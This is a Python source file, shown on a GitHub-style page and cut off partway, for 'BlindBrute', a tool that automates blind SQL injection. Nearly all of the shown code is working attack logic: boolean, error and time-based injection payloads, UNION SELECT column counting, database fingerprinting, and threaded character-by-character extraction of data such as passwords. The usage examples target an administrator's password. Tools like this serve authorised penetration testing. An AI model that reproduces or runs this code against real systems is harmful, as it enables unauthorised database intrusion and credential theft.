-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathblindbrute.py
1896 lines (1598 loc) · 84.5 KB
/
blindbrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import os
import sys
import time
import json
import string
import requests
import argparse
import threading
import statistics
from copy import deepcopy
from gramification import gramify
from urllib.parse import quote, parse_qs
from concurrent.futures import ThreadPoolExecutor, as_completed
current_animation = None
### Constants and Usage
def usage():
usage = """
BlindBrute - Blind SQL Injection Brute Forcer
Usage:
python blindbrute.py -u <URL> -t <TABLE> -c <COLUMN> -w <WHERE CLAUSE> [options]
Required Arguments:
-u, --url Target URL
-t, --table Table name from which to extract the data (e.g., users)
-c, --column Column name to extract (e.g., password)
-w, --where WHERE clause (e.g., username='Administrator')
Optional Arguments:
-ih, --injectable-headers Injectable headers as key-value pairs (e.g., -ih Referer http://www.example.com)
-sh, --static-headers Static headers as key-value pairs that do not contain payloads
-d, --data Specify data to be sent in the request body. Changes request type to POST. INJECT placeholder will be replaced with the payload.
-f, --file File containing the HTTP request with 'INJECT' placeholder for payloads
-m, --max-length Maximum length of the extracted data that the script will check for (default: 1000)
-o, --output-file Specify a file to output the extracted data
-qs, --query-string Query string to append to the URL for GET requests. INJECT placeholder will be replaced with the payload.
-ba, --binary-attack Use binary search for ASCII extraction. HIGHLY recommended if character case matters.
-da, --dictionary-attack Path to a wordlist for dictionary-based extraction
-db, --database Specify the database type (e.g., MySQL, PostgreSQL)
--level Specify the threading level
--delay Delay in seconds between requests to bypass rate limiting
--timeout Timeout for each request in seconds (default: 10)
--verbose Enable verbose output for debugging
--keywords Keywords to search for in the response text
--sleep-only Use sleep-based detection methods strictly. Accepts whole numbers as sleep times. Sleep time must be >= 1. (default: 10)
--force Force a detection method (status, content, keyword, or sleep)
--gramify Generate n-grams and probabilities from the provided file path
--top-n Number of top results to display and save for n-grams. Less is often more here.
Examples:
blindbrute.py -u "http://example.com/login" -d "username=sam&password=samspasswordINJECT" -t users -c password -w "username='admin'"
blindbrute.py -u "http://example.com/login" -ih Cookie "SESSION=abc123" -t users -c password -w "username='admin'"
blindbrute.py -u "http://example.com/login" -f request.txt -t users -c password -w "username='admin'" --binary-attack
blindbrute.py -u "http://example.com/login" -t users -c password -w "username='admin'" --force status
"""
print(usage)
def load_request(file_path):
try:
with open(file_path, 'r') as f:
file_content = f.read()
return parse_request(file_content)
except Exception as e:
print_color("!", f"Error reading request file: {e}")
return None, None, None
def load_grams(grams_file_path):
try:
with open(grams_file_path, 'r') as file:
grams = json.load(file)
return grams
except Exception as e:
print_color("!", f"Error loading {grams_file_path}: {e}")
return None
def load_queries():
queries_file = os.path.join(os.path.dirname(__file__), 'queries.json')
sleep_file = os.path.join(os.path.dirname(__file__), 'sleep.json')
try:
with open(queries_file, 'r') as file:
queries = json.load(file)
except Exception as e:
print_color("!", f"Error loading version queries: {e}")
queries = {}
try:
with open(sleep_file, 'r') as file:
sl_queries = json.load(file)
except Exception as e:
print_color("!", f"Error loading sleep queries: {e}")
sl_queries = {}
return {"queries": queries, "sl_queries": sl_queries}
def max_workers(args):
num_cpus = os.cpu_count()
level = args.level or 1
workers = num_cpus * level
return workers
### Info Objects
class RequestInfo:
def __init__(self, url, timeout, injectable_headers=None, static_headers=None, request_template=None, data=None):
self.url = url
self.timeout = timeout
self.injectable_headers = injectable_headers or {}
self.static_headers = static_headers or {}
self.request_template = request_template or {}
self.data = data
class DatabaseInfo:
def __init__(self, injectable, baseline_condition, method, conditions, threshold_type, avg_variance, columns, db_name,
db_specific, substring_query, sleep_query, length_query, length):
self.injectable = injectable
self.baseline_condition = baseline_condition
self.method = method
self.conditions = conditions
self.threshold_type = threshold_type
self.avg_variance = avg_variance
self.columns = columns
self.db_name = db_name
self.db_specific = db_specific
self.substring_query = substring_query
self.sleep_query = sleep_query
self.length_query = length_query
self.length = length
class BaselineInfo:
def __init__(self, response, status_code, content_length):
self.response = response
self.status_code = status_code
self.content_length = content_length
class ConstantsInfo:
def __init__(self, queries, sleep_queries, workers, grams):
self.queries = queries
self.sleep_queries = sleep_queries
self.workers = workers
self.grams = grams
class PayloadInfo:
def __init__(self, payload, encoded, conditions):
self.payload = payload
self.encoded = encoded
self.conditions = conditions
### Main Logic
def is_injectable(request_info, constants, args):
"""
checks if the field is injectable using true, false, and error conditions. also determines the detection method.
additionally, uses baseline requests to validate against false positives and determine the most accurate detection method.
"""
global current_animation
if not (args.sleep_only or args.force):
current_animation = DancingDots("Checking if the field is injectable", symbol='*')
current_animation.start()
else:
current_animation = DancingDots("Gathering condition info", symbol='*')
current_animation.start()
# Step 1: Baseline request
baseline = BaselineInfo(
response = None,
status_code=None,
content_length=None
)
try:
baseline.response, baseline.status_code, baseline.content_length = baseline_request(
request_info=request_info, args=args
)
except requests.exceptions.RequestException as e:
print_color("!", f"Error during baseline request: {e}")
return False, None, None, None, constants, args
payloads = {
"true": "' AND '1'='1",
"false": "' AND '1'='2",
"error": "' AND"
}
responses = {
"true": {"status_code": None, "content": None},
"false": {"status_code": None, "content": None},
"error": {"status_code": None, "content": None}
}
handling = {"status": None, "content": None, "keyword": None}
conditions = {"status": {}, "content": {}, "keyword": {}}
scores = {"status": 0, "content": 0, "keyword": 0}
if args.keywords:
words = args.keywords if args.keywords else []
keywords = {}
# Step 2: Test conditions
for condition, pl in payloads.items():
payload = PayloadInfo(payload=pl, encoded=quote(pl), conditions=[condition])
try:
response, response_time = inject(
payload=payload,
request_info=request_info,
args=args
)
if response is None:
return False, None, None, None, constants, args
responses[condition]["status_code"] = response.status_code
responses[condition]["content-length"] = len(response.text)
conditions["status"][condition] = response.status_code
conditions["content"][condition] = len(response.text)
if args.keywords:
matching_keywords = [word for word in words if word in response.text]
keywords[condition] = matching_keywords if matching_keywords else False
conditions["keyword"][condition] = matching_keywords if matching_keywords else False
except requests.exceptions.RequestException as e:
print_color("!", f"Error during {condition} condition injection request: {e}")
return False, None, None, None, constants, args
true_status_code = responses["true"]["status_code"]
false_status_code = responses["false"]["status_code"]
error_status_code = responses["error"]["status_code"]
true_content_length = responses["true"]["content-length"]
false_content_length = responses["false"]["content-length"]
error_content_length = responses["error"]["content-length"]
# Step 3: Status code check
if baseline.status_code == 200:
if true_status_code == 200 and false_status_code != 200 and error_status_code not in [200, false_status_code]:
if not (args.sleep_only or args.force):
print_color("+", "Status code detection (full).")
scores["status"] += 3
handling["status"] = "true, false, error"
elif true_status_code == 200 and false_status_code == 200 and error_status_code != 200:
if not (args.sleep_only or args.force):
print_color("+", "Status code detection (error-only).")
scores["status"] += 2
handling["status"] = "error"
elif true_status_code == 200 and false_status_code == error_status_code:
if not (args.sleep_only or args.force):
print_color("-", "Field may be injectable, but status codes will not provide accurate data.")
else:
if not (args.sleep_only or args.force):
print_color("-", "Field may be injectable, but status codes will not provide accurate data.")
else:
print_color("!", "Malformed request, look over your input.")
return False, None, None, None, constants, args
# Step 4: Content length check
if (
diff(true_content_length, false_content_length) and
diff(true_content_length, error_content_length) and
diff(false_content_length, error_content_length)
):
if not (args.sleep_only or args.force):
print_color("+", "Content length detection (full).")
scores["content"] += 2.5
handling["content"] = "true, false, error"
elif not diff(true_content_length, false_content_length) and diff(false_content_length, error_content_length):
if not (args.sleep_only or args.force):
print_color("+", "Content length detection (error-only).")
scores["content"] += 1.5
handling["content"] = "false, error"
elif not diff(true_content_length, false_content_length) and not diff(false_content_length, error_content_length):
if not (args.sleep_only or args.force):
print_color("!", "Field may be injectable, but content length will not provide accurate data.")
else:
if not (args.sleep_only or args.force):
print_color("!", "Field may be injectable, but content length will not provide accurate data.")
# Step 5: Keyword check
if args.keywords:
keyword_occurrences = {}
for cond, found_keywords in keywords.items():
if found_keywords:
for keyword in found_keywords:
if keyword not in keyword_occurrences:
keyword_occurrences[keyword] = set()
keyword_occurrences[keyword].add(cond)
delete = [keyword for keyword, conds in keyword_occurrences.items() if len(conds) != 1]
for keyword in delete:
keyword_occurrences.pop(keyword, None)
for cond in keywords:
if keywords[cond] and keyword in keywords[cond]:
keywords[cond].remove(keyword)
only_true = only_false = only_error = False
for conds in keyword_occurrences.values():
if conds == {"true"}:
only_true = True
elif conds == {"false"}:
only_false = True
elif conds == {"error"}:
only_error = True
if only_true and only_false and only_error:
scores["keyword"] += 3
handling["keyword"] = "true, false, error"
if not (args.sleep_only or args.force):
print_color("+", "Keyword detection (full)")
elif only_false and only_error:
scores["keyword"] += 2
handling["keyword"] = "false, error"
if not (args.sleep_only or args.force):
print_color("+", "Keyword detection (false, error)")
elif only_error and only_true:
scores["keyword"] += 1
handling["keyword"] = "true, error"
if not (args.sleep_only or args.force):
print_color("+", "Keyword detection (true, error)")
elif only_error:
scores["keyword"] += 1
handling["keyword"] = "error"
if not (args.sleep_only or args.force):
print_color("+", "Keyword detection (error only)")
smallest_content_diff = float("inf")
baseline_condition = None
for condition, data in responses.items():
if responses[condition]["status_code"] == baseline.status_code:
content_diff = abs(baseline.content_length - responses[condition]["content-length"])
if content_diff < smallest_content_diff:
smallest_content_diff = content_diff
baseline_condition = condition
if baseline_condition != "true":
print_color("!", "Baseline condition does not evaluate to true. Check the information you supplied. "
"Make sure the database is receiving a known value.")
return False, None, None, None, constants, args
best_method = max(scores, key=scores.get)
if scores[best_method] > 0:
info = handling[best_method].split(", ")
method = str(best_method)
if args.force:
return conditions, baseline_condition
elif args.sleep_only:
method = "sleep"
return True, baseline_condition, method, conditions, constants, args
else:
print_color("+", f"Using {method}-based detection with conditions: {info}.")
return True, baseline_condition, method, conditions, constants, args
else:
print_color("*", "Fastest methods failed. Attempting sleep-based detection.")
args.sleep_only = 10
args.timeout += args.sleep_only
sleep_queries = constants.sleep_queries.get("sleep_queries", [])
if args.verbose:
print_color("VERBOSE", f" Using sleep detection with {len(sleep_queries)} unique sleep queries.")
for sleep_query in sleep_queries:
sleep_query = sleep_query.replace('%', str(args.sleep_only))
new_payload = f"' AND {sleep_query} AND '1'='1"
payload = PayloadInfo(payload=new_payload, encoded=quote(new_payload), conditions=["true"])
if args.delay > 0:
if args.verbose:
current_animation = DancingDots(f"Delaying for {args.delay} seconds", symbol ="VERBOSE")
current_animation.start()
time.sleep(args.delay)
try:
response, response_time = inject(
payload=payload,
request_info=request_info,
args=args
)
if response is None:
return False, None, None, None, constants, args
if response_time > args.sleep_only:
constants.sleep_queries["sleep_queries"] = [sleep_query.replace(str(args.sleep_only), '%')]
break
except requests.exceptions.RequestException as e:
print_color("!", f"Error during sleep injection request: {e}")
return False, None, None, None, constants, args
if len(constants.sleep_queries["sleep_queries"]) == 1:
print_color("+", f"Sleep query found: {constants.sleep_queries["sleep_queries"]}. Using sleep-based detection.")
method = "sleep"
return True, baseline_condition, method, conditions, constants, args
print_color("!", "No significant differences detected between conditions. Field is likely not injectable.")
return False, None, None, None, constants, args
def column_count(request_info, db_info, constants, args):
"""
utilizes UNION SELECT statements and NULL values to match the column output of the original sql query.
"""
global current_animation
current_animation = DancingDots("Attempting to count columns", symbol='*')
current_animation.start()
# Step 1: Baseline request
baseline = BaselineInfo(
response = None,
status_code=None,
content_length=None
)
try:
baseline.response, baseline.status_code, baseline.content_length = baseline_request(
request_info=request_info, args=args
)
except requests.exceptions.RequestException as e:
print_color("!", f"Error during baseline request: {e}")
return
# Step 2: Prepare queries
sleep_queries = constants.sleep_queries.get("sleep_queries", [])
tasks = []
columns_found = False
columns = 0
with ThreadPoolExecutor(max_workers=constants.workers) as executor:
while not columns_found:
if args.sleep_only:
for sleep_query in sleep_queries:
if not sleep_query or sleep_query == "N/A":
print_color("-", f"Invalid or unavailable sleep query. Skipping.")
continue
db_info.sleep_query = sleep_query
sleep_query = sleep_query.replace('%', str(args.sleep_only))
new_payload = f"' AND {sleep_query} UNION SELECT {','.join(['NULL'] * columns)}{',' if columns > 0 else ""}'1'='1"
payload = PayloadInfo(payload=new_payload, encoded=quote(new_payload), conditions=[db_info.baseline_condition, "error"])
if args.delay > 0:
if args.verbose:
current_animation = DancingDots(f"Delaying for {args.delay} seconds", symbol ="VERBOSE")
current_animation.start()
time.sleep(args.delay)
tasks.append(executor.submit(detect, payload=payload, request_info=request_info, db_info=db_info,
baseline=baseline, args=args, constants=constants))
else:
new_payload = f"' UNION SELECT {','.join(['NULL'] * columns)}{',' if columns > 0 else ""}'1'='1"
payload = PayloadInfo(payload=new_payload, encoded=quote(new_payload), conditions=[db_info.baseline_condition, "error"])
if args.delay > 0:
if args.verbose:
current_animation = DancingDots(f"Delaying for {args.delay} seconds",
symbol="VERBOSE")
current_animation.start()
time.sleep(args.delay)
tasks.append(
executor.submit(detect, payload=payload, request_info=request_info, db_info=db_info,
baseline=baseline, args=args, constants=constants))
# Step 3: Wait for results
for future in as_completed(tasks):
result = future.result()
if result is True or (isinstance(result, tuple) and result[0] is True):
columns += 1
print_color("+", f"Found {columns} columns")
return columns
columns += 1
print_color("-", f"Unable to detect the columns.")
return None
def detect_database(request_info, db_info, constants, args):
"""
attempts to determine the exact database. detection happens in two stages because
of the way the json is structured. in the case that the version query is used for
multiple databases, a second batch of requests is sent to determine a more specific
database. if using sleep detection, that order is reversed. a successful sleep query
will lead to a version query to narrow down the database. this is not foolproof.
many of the databases that use the same version queries also use the same sleep queries.
the first positive ID will be the defacto database. this isn't actually that big of
a deal because if a database uses identical version queries and sleep queries, the length
queries and substring queries are typically also identical. just don't quote me on the
database. my goal is to extract data, not provide you with the database.
good enough is good enough.
"""
global current_animation
current_animation = DancingDots("Attempting to detect the database type", symbol='*')
current_animation.start()
adjusted_columns = db_info.columns - 2
# Step 1: Baseline request
baseline = BaselineInfo(
response = None,
status_code=None,
content_length=None
)
try:
baseline.response, baseline.status_code, baseline.content_length = baseline_request(
request_info=request_info, args=args
)
except requests.exceptions.RequestException as e:
print_color("!", f"Error during baseline request: {e}")
return None, args
# Step 2: Sleep-only detection
tasks = []
if args.sleep_only:
sleep_queries = constants.sleep_queries.get("sleep_queries", [])
if args.verbose:
print_color("VERBOSE", f" Using sleep detection with {len(sleep_queries)} unique sleep queries.")
with ThreadPoolExecutor(max_workers=constants.workers) as executor:
for sleep_query in sleep_queries:
db_info_copy = deepcopy(db_info)
db_info_copy.sleep_query = sleep_query
sleep_query = sleep_query.replace('%', str(args.sleep_only))
new_payload = f"' AND {sleep_query} AND '1'='1"
payload = PayloadInfo(payload=new_payload, encoded=quote(new_payload), conditions=[db_info.baseline_condition, "error"])
if args.delay > 0:
if args.verbose:
current_animation = DancingDots(f"Delaying for {args.delay} seconds",
symbol="VERBOSE")
current_animation.start()
time.sleep(args.delay)
tasks.append(executor.submit(detect, payload=payload, request_info=request_info, db_info=db_info_copy,
baseline=baseline, constants=constants, args=args))
# Step 3: Wait for sleep query results
for future in as_completed(tasks):
result = future.result()
if result and result[0] is True:
sleep_query = result[1]
db_info.sleep_query = sleep_query.replace(str(args.sleep_only), '%')
print_color("+", f"Sleep-based detection with query {sleep_query}")
# Step 4: Lower sleep time
new_sleep = lower(
request_info=request_info, db_info=db_info,
baseline=baseline, constants=constants, args=args
)
sleep_query = sleep_query.replace(str(args.sleep_only), str(new_sleep))
args.sleep_only = new_sleep
# Step 5: Check version queries
print_color("*", f"Checking associated version queries")
version_tasks = []
with ThreadPoolExecutor(max_workers=constants.workers) as version_executor:
for db_name, queries in constants.queries.items():
db_info.db_name = db_name
sleep_function = constants.queries[db_name].get("sleep_query", None)
if isinstance(sleep_function, dict):
sleep_queries = sleep_function.items()
else:
sleep_queries = [(None, sleep_function)]
for db_specific, query in sleep_queries:
db_info_copy = deepcopy(db_info)
db_info_copy.db_specific = db_specific
db_info_copy.sleep_query = query
query = query.replace('%', str(args.sleep_only))
sleep_query = sleep_query.replace('%', str(args.sleep_only))
if query == sleep_query:
version_query = queries.get("version_query")
else:
continue
if version_query:
new_payload = (f"' AND {query} UNION {version_query}{',' if adjusted_columns != 0 else ''}"
f"{','.join(['NULL'] * adjusted_columns)},'1'='1")
payload = PayloadInfo(payload=new_payload, encoded=quote(new_payload), conditions=[db_info.baseline_condition, "error"])
if args.delay > 0:
if args.verbose:
current_animation = DancingDots(
f"Delaying for {args.delay} seconds", symbol="VERBOSE")
current_animation.start()
time.sleep(args.delay)
version_tasks.append(
version_executor.submit(detect, payload=payload, request_info=request_info, db_info=db_info_copy,
baseline=baseline, constants=constants, args=args))
# Step 6: Wait for results from version query detection
for version_future in as_completed(version_tasks):
result = version_future.result()
if result:
db_info = result
print_color("+", f"Database confirmed: {db_info.db_specific if db_info.db_specific else db_info.db_name}")
db_info.sleep_query = sleep_query.replace('%', str(args.sleep_only))
return db_info, args
print_color("!", f"No database confirmed with version queries.")
return None, args
else:
# Step 7: Standard detection
tasks = []
with ThreadPoolExecutor(max_workers=constants.workers) as executor:
for db_name, info in constants.queries.items():
db_info_copy = deepcopy(db_info)
db_info_copy.db_name = db_name
db_query = info.get("version_query")
new_payload = (f"' UNION {db_query}{',' if adjusted_columns != 0 else ''}"
f"{','.join(['NULL'] * adjusted_columns)},'1'='1")
payload = PayloadInfo(payload=new_payload, encoded=quote(new_payload), conditions=[db_info.baseline_condition, "error"])
if args.delay > 0:
if args.verbose:
current_animation = DancingDots(f"Delaying for {args.delay} seconds",
symbol="VERBOSE")
current_animation.start()
time.sleep(5)
tasks.append(executor.submit(detect, payload=payload, request_info=request_info, db_info=db_info_copy,
baseline=baseline, constants=constants, args=args))
# Step 8: Wait for standard detection results
for future in as_completed(tasks):
result = future.result()
if result is not None:
db_info = result
print_color("+", f"Database detected: {db_info.db_name}")
sleep_function = constants.queries[db_info.db_name].get("sleep_query", None)
# Step 9: Narrow down the database if needed
if isinstance(sleep_function, dict):
current_animation = DancingDots("Narrowing down to the specific database version", symbol="*")
current_animation.start()
args.sleep_only = 10
args.timeout += args.sleep_only
specific_tasks = []
with ThreadPoolExecutor(max_workers=constants.workers) as specific_executor:
for db_specific, sleep_query in sleep_function.items():
db_info_copy = deepcopy(db_info)
db_info_copy.db_specific = db_specific
db_info_copy.sleep_query = sleep_query
if not sleep_query or sleep_query == "N/A":
print_color("-", f"Sleep function for {db_info_copy.db_specific} is not applicable or not found. Skipping.")
continue
sleep_query = sleep_query.replace('%', str(args.sleep_only))
new_payload = f"' AND {sleep_query} AND '1'='1"
payload = PayloadInfo(payload=new_payload, encoded=quote(new_payload), conditions=[db_info.baseline_condition, "error"])
if args.delay > 0:
if args.verbose:
current_animation = DancingDots(
f"Delaying for {args.delay} seconds", symbol="VERBOSE")
current_animation.start()
time.sleep(args.delay)
specific_tasks.append(
specific_executor.submit(detect, payload=payload, request_info=request_info, db_info=db_info_copy,
baseline=baseline, constants=constants, args=args))
# Step 10: Wait for more specific results
for specific_future in as_completed(specific_tasks):
specific_result = specific_future.result()
if specific_result is not None:
args.sleep_only = None
db_info = specific_result
print_color("+", f"Narrowed down to specific database: {db_info.db_specific}")
return db_info, args
else:
db_info.sleep_query = sleep_function
return db_info, args
print_color("!", f"Unable to detect the database type. Exiting.")
return None, args
def discover_length(request_info, db_info, args):
"""
determines the length of the data using binary search.
returns the length of the data if found, otherwise None.
"""
if not db_info.length_query or db_info.length_query == "N/A":
print_color("*", f"Length query not found for {db_info.db_name}. Skipping data length detection.")
return None
global current_animation
current_animation = DancingDots(
f"Attempting to discover the length of the data for {args.table}.{args.column} using {db_info.length_query}",
symbol='*')
current_animation.start()
# Step 1: Baseline request for status and content length
try:
baseline = BaselineInfo(*baseline_request(request_info=request_info, args=args))
except requests.exceptions.RequestException as e:
print_color("!", f"Error during baseline request: {e}")
return None
low, high = 1, args.max_length
length_info = {'length': None, 'high': high}
# Step 2: Binary search for data length
while low <= length_info['high']:
mid = (low + length_info['high']) // 2
if args.sleep_only and db_info.sleep_query:
sleep_query = db_info.sleep_query.replace('%', str(args.sleep_only))
new_payload = f"' AND {sleep_query} AND {db_info.length_query}((SELECT {args.column} FROM {args.table} WHERE {args.where}))<='{mid}"
else:
new_payload = f"' AND {db_info.length_query}((SELECT {args.column} FROM {args.table} WHERE {args.where}))<='{mid}"
payload = PayloadInfo(payload=new_payload, encoded=quote(new_payload), conditions=[db_info.baseline_condition, "false"])
if args.delay > 0:
if args.verbose:
current_animation = DancingDots(f"Delaying for {args.delay} seconds",
symbol="VERBOSE")
current_animation.start()
time.sleep(args.delay)
try:
response, response_time = inject(payload=payload, request_info=request_info, args=args)
if response is None:
return None
# Step 3: Check conditions
result = check_conditions(
response, response_time, payload, db_info, baseline, args,
on_match=lambda: binary_match(mid, length_info)
)
if result is None:
low = mid + 1
except requests.exceptions.RequestException as e:
print_color("!", f"Error during length discovery: {e}")
return None
# Step 4: Return
if length_info['length']:
length = length_info['length']
print_color("+", f"Data length discovered: {length}")
return length
else:
print_color("-", f"Failed to discover data length within the maximum length {args.max_length}.")
return None
def extract_data(request_info, db_info, constants, args):
"""
extracts data in a variety of ways. the default behavior is a threaded character-by-character
approach with a standard set of letter frequencies and ngrams. if that doesnt tickle your fancy,
you can provide a dictionary, use a binary search algorithm, or provide a more tailored piece
of sample text for custom ngrams. the world is your oyster.
"""
global current_animation
current_animation = DancingDots("Attempting to extract data", symbol='*')
current_animation.start()
extracted_data = ""
wordlist = None
position = 1
spent_switch = False
if args.dictionary_attack:
try:
with open(args.dictionary_attack, 'r') as wordlist_file:
wordlist = [line.strip() for line in wordlist_file.readlines()]
if args.verbose:
print_color("VERBOSE", f" Loaded {len(wordlist)} lines from dictionary file.")
except Exception as e:
print_color("!", f"Error loading wordlist: {e}")
return None
# Step 1: Baseline request
baseline = BaselineInfo(
response = None,
status_code=None,
content_length=None
)
try:
baseline.response, baseline.status_code, baseline.content_length = baseline_request(
request_info=request_info, args=args
)
except requests.exceptions.RequestException as e:
print_color("!", f"Error during baseline request: {e}")
return
# Binary search override (not threaded)
if args.binary_attack:
while position <= db_info.length:
low, high = 32, 126
found_match = False
prioritized_chars = prioritize_characters(extracted_data, grams=constants.grams, position=position, length=db_info.length)
check_exact = True
if prioritized_chars:
mid = ord(prioritized_chars[0])
else:
mid = (low + high) // 2
while low <= high:
if check_exact:
operator = "="
check_exact = False
else:
operator = ">"
if args.sleep_only:
new_payload = (f"' AND {db_info.sleep_query} AND ASCII({db_info.substring_query}((SELECT {args.column} "
f"FROM {args.table} WHERE {args.where}), {position}, 1)){operator}'{mid}")
else:
new_payload = (f"' AND ASCII({db_info.substring_query}((SELECT {args.column} FROM {args.table} "
f"WHERE {args.where}), {position}, 1)){operator}'{mid}")
payload = PayloadInfo(payload=new_payload, encoded=quote(new_payload), conditions=[db_info.baseline_condition, "false"])
if args.delay > 0:
if args.verbose:
current_animation = DancingDots(f"Delaying for {args.delay} seconds",
symbol="VERBOSE")
current_animation.start()
time.sleep(args.delay)
result = extract(
payload=payload, request_info=request_info,
db_info=db_info, value=chr(mid), args=args,
baseline=baseline
)
if result and operator == "=":
extracted_data += chr(mid)
print_color("+", f"Value found {chr(mid)} at position {position}")
found_match = True
position += 1
break
elif result and operator == ">":
low = mid + 1
elif operator == ">":
high = mid - 1
mid = (low + high) // 2
if 32 <= low <= 126 and not found_match:
extracted_data += chr(low)
print_color("+", f"Value found {chr(low)} at position {position}")
found_match = True
position += 1
if not found_match:
print_color("*", f"No match found at position {position}. Stopping extraction.")
break
# Step 2: Iterate over possible values
while position <= db_info.length:
found_match = False
fallback_to_char = False
if wordlist and position > (2 * db_info.length // 3) and not fallback_to_char:
fallback_to_char = one_third()
possible_values = wordlist if wordlist and not fallback_to_char else (
prioritize_characters(grams=constants.grams, extracted_chars=extracted_data,
position=position, length=db_info.length)
)
with ThreadPoolExecutor(max_workers=constants.workers) as executor:
tasks = []
for value in possible_values:
if wordlist and len(value) > (db_info.length - position + 1):
continue
if args.sleep_only:
new_payload = (f"' AND {db_info.sleep_query} AND {db_info.substring_query}((SELECT {args.column} "
f"FROM {args.table} WHERE {args.where}), {position}, {len(value)})='{value}")
else:
new_payload = (f"' AND {db_info.substring_query}((SELECT {args.column} FROM {args.table} "
f"WHERE {args.where}), {position}, {len(value)})='{value}")
payload = PayloadInfo(payload=new_payload, encoded=quote(new_payload),
conditions=[db_info.baseline_condition, "false"])
if args.delay > 0:
if args.verbose:
current_animation = DancingDots(f"Delaying for {args.delay} seconds",
symbol="VERBOSE")
current_animation.start()
time.sleep(args.delay)
tasks.append(executor.submit(extract, payload=payload, value=value, request_info=request_info,
db_info=db_info, baseline=baseline, args=args))
for future in as_completed(tasks):
result = future.result()
if result:
extracted_data += result
print_color("+", f"Value found {result} at position {position}")
position += len(result)
found_match = True
break
if not found_match:
if wordlist:
if spent() or spent_switch:
spent_switch = True
print_color("*", f"Extracting single character at position {position} using binary search.")
low, high = 32, 126
found_match = False
prioritized_chars = prioritize_characters(extracted_chars=extracted_data, grams=constants.grams,
position=position, length=db_info.length)
check_exact = True
if prioritized_chars:
mid = ord(prioritized_chars[0])
else:
mid = (low + high) // 2
while low <= high:
if check_exact:
operator = "="
check_exact = False
else:
operator = ">"
if args.sleep_only:
new_payload = (f"' AND {db_info.sleep_query} AND ASCII({db_info.substring_query}((SELECT {args.column}"
f" FROM {args.table} WHERE {args.where}), {position}, 1)){operator}'{mid}")
else:
new_payload = (f"' AND ASCII({db_info.substring_query}((SELECT {args.column} FROM {args.table} "
f"WHERE {args.where}), {position}, 1)){operator}'{mid}")
payload = PayloadInfo(payload=new_payload, encoded=quote(new_payload), conditions=[db_info.baseline_condition, "false"])
if args.delay > 0:
if args.verbose:
current_animation = DancingDots(f"Delaying for {args.delay} seconds",
symbol="VERBOSE")
current_animation.start()
time.sleep(args.delay)
result = extract(
payload=payload, request_info=request_info, db_info=db_info,
baseline=baseline, value=chr(mid), args=args
)
if result and operator == "=":
extracted_data += chr(mid)
print_color("+", f"Value Found: {chr(mid)} at position {position}")
found_match = True
position += 1
break
elif result and operator == ">":
low = mid + 1
elif operator == ">":
high = mid - 1
